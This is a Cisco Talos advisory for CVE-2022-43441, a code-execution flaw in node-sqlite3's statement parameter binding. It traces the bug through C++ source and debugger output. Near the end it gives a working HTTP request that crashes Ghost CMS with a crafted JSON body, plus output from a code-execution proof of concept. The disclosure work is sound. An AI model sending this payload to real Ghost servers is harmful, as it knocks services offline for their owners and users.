CVE-2022-43441
A code execution vulnerability exists in the Statement Bindings functionality of Ghost Foundation node-sqlite3 5.1.1. A specially-crafted Javascript file can lead to arbitrary code execution. An attacker can provide malicious input to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Ghost Foundation node-sqlite3 5.1.1
node-sqlite3 - https://github.com/TryGhost/node-sqlite3
8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes
The node-sqlite3 module provides asynchronous, non-blocking SQLite3 bindings for Node.js within Ghost CMS.
This vulnerability is also exploitable using Ghost CMS. However, due to the restrictions of JSON, it only manifests itself as a remote denial of service, which crashes the entire Node.js service that Ghost CMS is running on. This is addressed later in this report.
When SQL query parameters are bound to a statement using this module, those parameters are sent through a loop within the Statement::Bind()
function defined in statement.cc
. This loop determines the parameter type(s) and those parameters are bound to the specified query.
[0] Each Element from the array is retrieved with (array).Get(i)
and then BindParameter()
is called
225 template <class T> T* Statement::Bind(const Napi::CallbackInfo& info, int start, int last) {
226 Napi::Env env = info.Env();
227 Napi::HandleScope scope(env);
228
229 if (last < 0) last = info.Length();
230 Napi::Function callback;
231 if (last > start && info[last - 1].IsFunction()) {
232 callback = info[last - 1].As<Napi::Function>();
233 last--;
234 }
235
236 T* baton = new T(this, callback);
237
238 if (start < last) {
239 if (info[start].IsArray()) {
240 Napi::Array array = info[start].As<Napi::Array>();
241 int length = array.Length();
242 // Note: bind parameters start with 1.
243 for (int i = 0, pos = 1; i < length; i++, pos++) {
244 baton->parameters.push_back(BindParameter((array).Get(i), pos)); [0]
245 }
246 }
<...snip>
276
277 return baton;
278 }
The Get
operation can be found in node-addon-api/napi-inl.h
. This will attempt to retrieve the appropriate value and return an error code status.
[1] napi_get_element()
is called.
1452 inline MaybeOrValue<Value> Object::Get(uint32_t index) const {
1453 napi_value value;
1454 napi_status status = napi_get_element(_env, _value, index, &value); [1]
1455 NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, value), Value);
1456 }
napi_get_element
in js_native_api_v8.cc
will return the specified object at the specified index as well as the status of the operation.
1209 napi_status NAPI_CDECL napi_get_element(napi_env env,
1210 napi_value object,
1211 uint32_t index,
1212 napi_value* result) {
1213 NAPI_PREAMBLE(env);
1214 CHECK_ARG(env, result);
1215
1216 v8::Local<v8::Context> context = env->context();
1217 v8::Local<v8::Object> obj;
1218
1219 CHECK_TO_OBJECT(env, context, obj, object);
1220
1221 auto get_maybe = obj->Get(context, index); [n]
1222
1223 CHECK_MAYBE_EMPTY(env, get_maybe, napi_generic_failure);
1224
1225 *result = v8impl::JsValueFromV8LocalValue(get_maybe.ToLocalChecked()); [2]
1226 return GET_RETURN_STATUS(env); [3]
1227 }
At [2] we can see, when parsing the first item (the malicious object), the result value is a pointer to:
gef➤ jlh get_maybe.ToLocalChecked()
0x3fffd0e977b9: [JSArray]
- map: 0x0b421c5036e1 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x2467405c5fb9 <JSArray[0]>
- elements: 0x3fffd0e97751 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x1fbdd9d81329 <FixedArray[0]>
- All own properties (excluding elements): {
0x1fbdd9d855f9: [String] in ReadOnlySpace: #length: 0x2e0d60975d51 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3fffd0e97751 <FixedArray[1]> {
0: 0x3fffd0e97769 <Object map = 0x2e6252227459>
}
And that no error was found [3]:
gef➤ p env->last_error
$214 = {
error_message = 0x0,
engine_reserved = 0x0,
engine_error_code = 0x0,
error_code = napi_ok
}
Once the object is retrieved, we return to the BindParameter()
operation in statement.cc
, which attempts to normalize and return the appropriate new object to assign to the bound parameters.
[4] This line calls the toString()
operation on a received object, which will then call napi_coerce_to_string()
.
(Note if we define a valid function and assign it to the toString()
method of an object, the function will execute in the context of the script running the Javascript code.)
**This is where we would achieve Javascript code execution using the module. **
The potential misuse of this function call resulting in code execution is noted in the Node.js API docs at: https://nodejs.org/api/n-api.html#napi_coerce_to_string:
This API implements the abstract operation ToString() as defined in Section 7.1.13 of the ECMAScript Language Specification. This function potentially runs JS code if the passed-in value is an object.
[5] With JSON restricted characters, we are only able to define toString()
as null
or another invalid value, which results in a new object not being returned, only a null-value.
180 template <class T> Values::Field*
181 Statement::BindParameter(const Napi::Value source, T pos) {
182 if (source.IsString()) {
183 std::string val = source.As<Napi::String>().Utf8Value();
184 return new Values::Text(pos, val.length(), val.c_str());
185 }
186 else if (OtherInstanceOf(source.As<Object>(), "RegExp")) {
187 std::string val = source.ToString().Utf8Value();
188 return new Values::Text(pos, val.length(), val.c_str());
189 }
190 else if (source.IsNumber()) {
191 if (OtherIsInt(source.As<Napi::Number>())) {
192 return new Values::Integer(pos, source.As<Napi::Number>().Int32Value());
193 } else {
194 return new Values::Float(pos, source.As<Napi::Number>().DoubleValue());
195 }
196 }
197 else if (source.IsBoolean()) {
198 return new Values::Integer(pos, source.As<Napi::Boolean>().Value() ? 1 : 0);
199 }
200 else if (source.IsNull()) {
201 return new Values::Null(pos);
202 }
203 else if (source.IsBuffer()) {
204 Napi::Buffer<char> buffer = source.As<Napi::Buffer<char>>();
205 return new Values::Blob(pos, buffer.Length(), buffer.Data());
206 }
207 else if (OtherInstanceOf(source.As<Object>(), "Date")) {
208 return new Values::Float(pos, source.ToNumber().DoubleValue());
209 }
210 else if (source.IsObject()) {
211 Napi::String napiVal = source.ToString(); [4]
212 // Check whether toString returned a value that is not undefined.
213 if(napiVal.Type() == 0) {
214 return NULL; [5]
215 }
216
217 std::string val = napiVal.Utf8Value();
218 return new Values::Text(pos, val.length(), val.c_str());
219 }
220 else {
221 return NULL;
222 }
223 }
Here is the object in which napiVal.Type()
is 0x0 or napi_undefined
at [5]:
gef➤ p napiVal
$239 = {
<Napi::Name> = {
<Napi::Value> = {
_env = 0x0,
_value = 0x0
}, <No data fields>}, <No data fields>}
gef➤ p napiVal.Type()
$240 = napi_undefined
When we return to the original Bind() loop call previously [6], we can see a NULL object pushed into the parameters list
225 template <class T> T* Statement::Bind(const Napi::CallbackInfo& info, int start, int last) {
226 Napi::Env env = info.Env();
227 Napi::HandleScope scope(env);
228
229 if (last < 0) last = info.Length();
230 Napi::Function callback;
231 if (last > start && info[last - 1].IsFunction()) {
232 callback = info[last - 1].As<Napi::Function>();
233 last--;
234 }
235
236 T* baton = new T(this, callback);
237
238 if (start < last) {
239 if (info[start].IsArray()) {
240 Napi::Array array = info[start].As<Napi::Array>();
241 int length = array.Length();
242 // Note: bind parameters start with 1.
243 for (int i = 0, pos = 1; i < length; i++, pos++) {
244 baton->parameters.push_back(BindParameter((array).Get(i), pos)); [6]
245 }
246 }
<...snip>
276
277 return baton;
278 }
gef➤ p baton->parameters
$232 = std::vector of length 1, capacity 1 = {0x0}
Now we begin to parse the second element in the array, which is just the int 0x41
[7] This time when within napi_get_element
, the function fails at NAPI_PREAMBLE
.
1209 napi_status NAPI_CDECL napi_get_element(napi_env env,
1210 napi_value object,
1211 uint32_t index,
1212 napi_value* result) {
1213 NAPI_PREAMBLE(env); [7]
<< ... snip ... >
1225 *result = v8impl::JsValueFromV8LocalValue(get_maybe.ToLocalChecked());
1226 return GET_RETURN_STATUS(env);
1227 }
NAPI_PREABLE
in js_native_api_v8.h
[8] Since (env)->last_exception.IsEmpty()
evaluates to 0x0
, napi_pending_exception
is set, and the napi_get_element
function immediately returns.
214 // NAPI_PREAMBLE is not wrapped in do..while: try_catch must have function scope
215 #define NAPI_PREAMBLE(env) \
216 CHECK_ENV((env)); \
217 RETURN_STATUS_IF_FALSE( \
218 (env), \
219 (env)->last_exception.IsEmpty() && (env)->can_call_into_js(), \ [8]
220 napi_pending_exception); \
221 napi_clear_last_error((env)); \
222 v8impl::TryCatch try_catch((env))
CHECK_ENV
definition:
194 #define CHECK_ENV(env) \
195 do { \
196 if ((env) == nullptr) { \
197 return napi_invalid_arg; \
198 } \
199 } while (0)
RETURN_STATUS_IF_FALSE
definition:
179 #define RETURN_STATUS_IF_FALSE(env, condition, status) \
180 do { \
181 if (!(condition)) { \
182 return napi_set_last_error((env), (status)); \
183 } \
184 } while (0)
We can see the previous exception below:
gef➤ jlh env->last_exception
0x2e9ca2e2a6e1: [JS_ERROR_TYPE]
- map: 0x07250b727a41 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3c9cb938ee11 <Object map = 0x24317ffb4e99>
- elements: 0x02ef5d981329 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x02ef5d981329 <FixedArray[0]>
- All own properties (excluding elements): {
0x2ef5d9860f1: [String] in ReadOnlySpace: #stack: 0x10a5cd0f5ea1 <AccessorInfo> (const accessor descriptor), location: descriptor
0x2ef5d985721: [String] in ReadOnlySpace: #message: 0x2e9ca2e2a6c1 <String[40]: c"Cannot convert object to primitive value"> (const data field 0), location: in-object
0x02ef5d986659 <Symbol: (error_stack_symbol)>: 0x2e9ca2e2a759 <FixedArray[10]> (const data field 1), location: in-object
}
[9] We can also see the value
returned to Object::Get
is 0x0
.
1452 inline MaybeOrValue<Value> Object::Get(uint32_t index) const {
1453 napi_value value;
1454 napi_status status = napi_get_element(_env, _value, index, &value); [9]
1455 NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, value), Value);
1456 }
gef➤ p value
$267 = (napi_value) 0x0
When this returns all the way back to the original loop and is sent to the BindParameter
call, this null
object is still parsed.
[10] When we reach line 186, the function attempts to coerce the serialized JSON into an object and check if it is of type RegExp, as part of its normal parsing loop.
180 template <class T> Values::Field*
181 Statement::BindParameter(const Napi::Value source, T pos) {
182 if (source.IsString()) {
183 std::string val = source.As<Napi::String>().Utf8Value();
184 return new Values::Text(pos, val.length(), val.c_str());
185 }
186 else if (OtherInstanceOf(source.As<Object>(), "RegExp")) { [10]
187 std::string val = source.ToString().Utf8Value();
188 return new Values::Text(pos, val.length(), val.c_str());
189 }
<... snip ...>
As()
as defined in napi-inl.h
:
744 inline T Value::As() const {
745 return T(_env, _value);
746 }
We can see that both values are 0x0
, as expected.
gef➤ p _env
$278 = (napi_env) 0x0
gef➤ p _value
$279 = (napi_value) 0x0
When the call to OtherInstanceOf()
is made, the source
value is a null
<Napi::Value>
.
gef➤ p source
$280 = {
<Napi::Value> = {
_env = 0x0,
_value = 0x0
}, <No data fields>}
[11] This null
source is used to attempt to check if it is of the type RegEx
. Part of this check will call Env::Global
with a null
this
pointer.
31 // A Napi InstanceOf for Javascript Objects "Date" and "RegExp"
32 bool OtherInstanceOf(Napi::Object source, const char* object_type) {
33 if (strncmp(object_type, "Date", 4) == 0) {
34 return source.InstanceOf(source.Env().Global().Get("Date").As<Function>());
35 } else if (strncmp(object_type, "RegExp", 6) == 0) {
36 return source.InstanceOf(source.Env().Global().Get("RegExp").As<Function>());
37 }
38
39 return false;
40 }
[12] Which returns a status of napi_invalid_arg
when napi_get_global
is called.
gef➤ p *this
$281 = {
_env = 0x0
}
gef➤ p status
$282 = napi_invalid_arg
458 inline Object Env::Global() const {
459 napi_value value;
460 napi_status status = napi_get_global(*this, &value); [12]
461 NAPI_THROW_IF_FAILED(*this, status, Object());
462 return Object(*this, value);
463 }
An exception is then thrown, as seen in the crash information section of this report.
FATAL ERROR: Error::New napi_get_last_error_info
1: 0x55555642d792 node::DumpBacktrace(_IO_FILE*) [node]
2: 0x555556525a02 node::Abort() [node]
3: 0x555556526a33 node::OOMErrorHandler(char const*, bool) [node]
4: 0x5555565268f0 node::FatalError(char const*, char const*) [node]
5: 0x5555564bfbc4 napi_open_callback_scope [node]
6: 0x7ffff50e0534 Napi::Error::Error() [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
7: 0x7ffff50e02fb Napi::Error::New(napi_env__*) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
8: 0x7ffff5104685 Napi::Env::Global() const [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
9: 0x7ffff50fe72c OtherInstanceOf(Napi::Object, char const*) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
10: 0x7ffff510ca7f node_sqlite3::Values::Field* node_sqlite3::Statement::BindParameter<int>(Napi::Value, int) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
11: 0x7ffff5108a4d node_sqlite3::Statement::RunBaton* node_sqlite3::Statement::Bind<node_sqlite3::Statement::RunBaton>(Napi::CallbackInfo const&, int, int) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
12: 0x7ffff510076b node_sqlite3::Statement::Run(Napi::CallbackInfo const&) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
13: 0x7ffff510bf20 Napi::InstanceWrap<node_sqlite3::Statement>::InstanceMethodCallbackWrapper(napi_env__*, napi_callback_info__*)::{lambda()#1}::operator()() const [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
14: 0x7ffff510e31f napi_value__* Napi::details::WrapCallback<Napi::InstanceWrap<node_sqlite3::Statement>::InstanceMethodCallbackWrapper(napi_env__*, napi_callback_info__*)::{lambda()#1}>(Napi::InstanceWrap<node_sqlite3::Statement>::InstanceMethodCallbackWrapper(napi_env__*, napi_callback_info__*)::{lambda()#1}) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
15: 0x7ffff510bf9d Napi::InstanceWrap<node_sqlite3::Statement>::InstanceMethodCallbackWrapper(napi_env__*, napi_callback_info__*) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
16: 0x555556493c4e [node]
17: 0x5555564a0d59 [node]
18: 0x555556493d06 [node]
19: 0x555556493d66 [node]
20: 0x555556899451 v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) [node]
21: 0x55555689a0bb [node]
22: 0x55555689e4f4 v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) [node]
23: 0x55555773b539 [node]
Aborted (core dumped)
Ghost CMS DoS PoC:
PUT /members/api/member/ HTTP/1.1
Host: 172.16.49.2
Cookie: ghost-members-ssr=llsdggbkqlzchmteev@bvhrs.com; ghost-members-ssr.sig=zI7KlgF41jWuXAOzkKUy2g6-2aE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.49.2/
Content-Type: application/json
Content-Length: 59
Origin: http://172.16.49.2
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"newsletters":[{
"": [
{ "toString":null }
]
}]}
RCE PoC that redefines toString()
as a call to console.log('Hello World')
:
root@46689a3609ba:/tmp/# node poc.js
Hello World
undefined:0
[Error: SQLITE_ERROR: no such table: foo
Emitted 'error' event on Statement instance at:
] {
errno: 1,
code: 'SQLITE_ERROR'
}
Node.js v19.0.0-pre
2022-10-28 - Vendor Disclosure
2023-03-13 - Vendor Patch Release
2023-03-16 - Public Release
Discovered by Dave McDaniel of Cisco Talos.